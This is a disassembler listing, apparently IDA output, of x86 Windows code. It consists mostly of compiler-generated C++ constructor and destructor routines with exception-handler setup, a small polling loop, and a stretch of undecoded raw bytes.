		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8EAB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F40


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F40


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E020E8h, 8E92E871h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449128
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

